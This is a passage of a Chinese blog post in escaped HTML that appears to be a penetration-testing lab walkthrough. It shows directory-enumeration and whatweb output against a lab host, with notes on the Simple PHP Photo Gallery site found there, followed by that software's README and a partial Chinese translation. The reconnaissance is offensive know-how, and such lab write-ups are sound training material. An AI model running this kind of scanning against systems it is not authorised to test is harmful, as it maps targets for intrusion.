&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/css &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 234&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.236.58/css/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/license.txt &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 18511&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/db.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/README.txt &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 4041&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/js &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 233&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.236.58/js/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt;└─$ whatweb http://192.168.236.58/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.236.58/ &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt; OK&lt;span class="o"&gt;]&lt;/span&gt; Apache&lt;span class="o"&gt;[&lt;/span&gt;2.4.6&lt;span class="o"&gt;]&lt;/span&gt;, Country&lt;span class="o"&gt;[&lt;/span&gt;RESERVED&lt;span class="o"&gt;][&lt;/span&gt;ZZ&lt;span class="o"&gt;]&lt;/span&gt;, Google-Analytics&lt;span class="o"&gt;[&lt;/span&gt;UA-2196019-1&lt;span class="o"&gt;]&lt;/span&gt;, HTML5, HTTPServer&lt;span class="o"&gt;[&lt;/span&gt;CentOS&lt;span class="o"&gt;][&lt;/span&gt;Apache/2.4.6 &lt;span class="o"&gt;(&lt;/span&gt;CentOS&lt;span class="o"&gt;)&lt;/span&gt; PHP/5.4.16&lt;span class="o"&gt;]&lt;/span&gt;, IP&lt;span class="o"&gt;[&lt;/span&gt;192.168.236.58&lt;span class="o"&gt;]&lt;/span&gt;, JQuery&lt;span class="o"&gt;[&lt;/span&gt;1.7.2&lt;span class="o"&gt;]&lt;/span&gt;, Lightbox, PHP&lt;span class="o"&gt;[&lt;/span&gt;5.4.16&lt;span class="o"&gt;]&lt;/span&gt;, Script, Title&lt;span class="o"&gt;[&lt;/span&gt;Simple PHP Photo Gallery&lt;span class="o"&gt;]&lt;/span&gt;, X-Powered-By&lt;span class="o"&gt;[&lt;/span&gt;PHP/5.4.16&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820110600377.png"&gt;
80端口打开网页是一个相册，鼠标悬停在图片上可以在右下角看到图片的地址。，能判断有一个image文件夹。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820110842446.png"&gt;
文件夹没有什么特别的发现。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820111233836.png"&gt;
Nmap的扫描结果发现有个README.txt文件，读取一下
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820122641220.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;==========================
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; Simple PHP Photo Gallery
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;==========================
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Copyright John Caruso 2005-2008
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;https://sourceforge.net/projects/simplephpgal/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;A) Embedded Gallery or Standalone
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;==================================
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;You can embed the gallery into existing pages or use it as a standalone page.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;To use it as a Standalone page, just follow the instructions in steps (B) and (C).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;To use it as an embedded Gallery in an existing page:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;1) Copy the the code from the embeddedGallery.php file (or just use an include(&amp;#34;embeddedGallery.php&amp;#34;) statement in your existing php file).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;2) Follow step (B) with the following modifications
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt; * B.1) The gallery title will not be taken from the folder name, but rather the config file. Make sure to uncomment the $galleryTitle = &amp;#34;title&amp;#34;; line and place your desired title in the quotes.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; * B.2) Do not include index.php when copying the files from the .zip file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; * C.2) Do not include index.php if you want to create your own index page. Just include the embeddedGallery.php file in your own script
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;B) Steps to setup your photogallery.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;====================================
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;1) Create a new folder with the name that you would like your gallery title to be.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt; * use the underscore &amp;#34;_&amp;#34; for spaces (eg. My_Vacation)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt; * you can only use characters that are allowable for folder names
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;2) Put all the files contained in this .zip file into the folder you just created
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;3) If they do not already exist, create two folders named &amp;#39;phpGallery_thumbs&amp;#39; and &amp;#39;phpGallery_images&amp;#39; inside your folder. You will need WRITE permissions on the phpGallery_thumbs directory.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;4) Put all of the photos that you want displayed in your gallery into the phpGallery_images folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; * by default they will be displayed in alphabetical order. This can be modified in the phpGalleryConfig.php file by setting the $sortMode variable at the bottom of the file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;5) Upload your directory to your website.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; * The first time you view the gallery it will take some time to load because thumbnails are being generated (If the page times out and nothing is shown on the screen, refresh the page. You may need to do this several times if you have a lot of images)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;C) For Multiple Photo Galleries
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;================================
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;If you want to create multiple photo galleries:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;1) Create a folder with the name that you would like your gallery listing to have.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; * use the underscore &amp;#34;_&amp;#34; for spaces (eg. My_Galleries)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; * you can only use characters that are allowable for folder names
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;2) Place the index.php, embeddedGallery.php and phpGalleryConfig.php files from this .zip file into the folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;3) Do the steps in (A) for as many galleries as you want to display, and place them into the folder you created in the previous step
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;D) Modifying the Style
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;=======================
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;Every element in the gallery script is attached to a CSS class.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;If you are using the gallery as an embedded gallery, copy and paste the CSS classes/elements from the phpGalleryStyle.css file and paste them into your current stylesheet. I have tried to make the names as unique as possible.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;If you are using the gallery as a standalone page, you can make your modifications directly to the phpGalleryStyle.css file.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;NOTE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;i) Your webserver must have PHP version 3.0 or higher, and GD 2.0 or higher installed in order for the gallery software to work.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; To check this, create a php file with the line &amp;lt;?php phpinfo(); ?&amp;gt; and run it to see what modules are installed.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;ii) Should work for JPG, JPEG, PNG and GIF files (for both upper and lowercase file extensions)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;iii) Feel free to remove the copyright information (I agree it is quite ugly), under the condition that you aren&amp;#39;t going to try to break what the copyright is intended to protect :)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;iv) Have fun and enjoy!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;Oh and if you don&amp;#39;t mind, drop me a line at simplephpgallery@gmail.com with the URL to your website that you are using the gallery script on. I enjoy seeing how something I&amp;#39;ve done has helped out someone else! 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;---翻译
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;好的，这是您提供的“Simple PHP Photo Gallery”文档的中文翻译（纯文字格式）：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;Simple PHP Photo Gallery
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;版权 John Caruso 2005-2008
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;https://sourceforge.net/projects/simplephpgal/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;A) 嵌入式图库或独立图库
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;您可以将图库嵌入到现有页面中，或者将其用作独立页面。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;作为独立页面使用： 只需按照步骤 (B) 和 (C) 中的说明操作即可。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;作为嵌入式图库在现有页面中使用：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; 1. 复制 embeddedGallery.php 文件中的代码（或者直接在您现有的 PHP 文件中使用 include(&amp;#34;embeddedGallery.php&amp;#34;) 语句）。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; 2. 按照步骤 (B) 操作，但需进行以下修改：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; B.1) 图库标题将不再取自文件夹名称，而是取自配置文件。请确保取消注释 $galleryTitle &amp;#34;title&amp;#34;; 这一行，并将您想要的标题放在引号内。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; B.2) 从 .zip 文件中复制文件时，不要包含 index.php。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; 3. (C.2) 如果您想创建自己的索引页，不要包含 index.php。只需在您自己的脚本中包含 embeddedGallery.php 文件。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;B) 设置您的照片图库的步骤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;1. 创建一个新文件夹，名称即为您想要的图库标题。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; 使用下划线 &amp;#34;_&amp;#34; 表示空格（例如：My_Vacation）。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; 只能使用文件夹名称允许的字符。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;2. 将本 .zip 文件中包含的所有文件放入您刚刚创建的文件夹中。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;3. 如果不存在，在您的文件夹内创建两个名为 phpGallery_thumbs 和 phpGallery_images 的文件夹。您需要对 phpGallery_thumbs 目录具有写入 (WRITE) 权限。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;4. 将所有想要在图库中显示的照片放入 phpGallery_images 文件夹中。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; 默认情况下，它们将按字母顺序显示。可以通过修改 phpGalleryConfig.php 文件底部的 $sortMode 变量来更改此行为。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;5. 将您的目录上传到您的网站。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; 第一次查看图库时，加载可能需要一些时间，因为正在生成缩略图（如果页面超时且屏幕上没有任何显示，请刷新页面。如果您有很多图像，可能需要多次刷新）。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;C) 创建多个照片图库
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;如果您想创建多个照片图库：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;1. 创建一个文件夹，名称即为您想要的图库列表标题。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; 使用下划线 &amp;#34;_&amp;#34; 表示空格（例如：My_Galleries）。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; 只能使用文件夹名称允许的字符。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;2. 将本 .zip 文件中的 index.php、embeddedGallery.php 和 phpGalleryConfig.php 文件放入此文件夹。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;3. 按照 (A) 部分的步骤操作，创建您想要显示的任意多个图库，并将它们放入上一步创建的文件夹中。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;D) 修改样式
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;图库脚本中的每个元素都关联着一个 CSS 类。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;
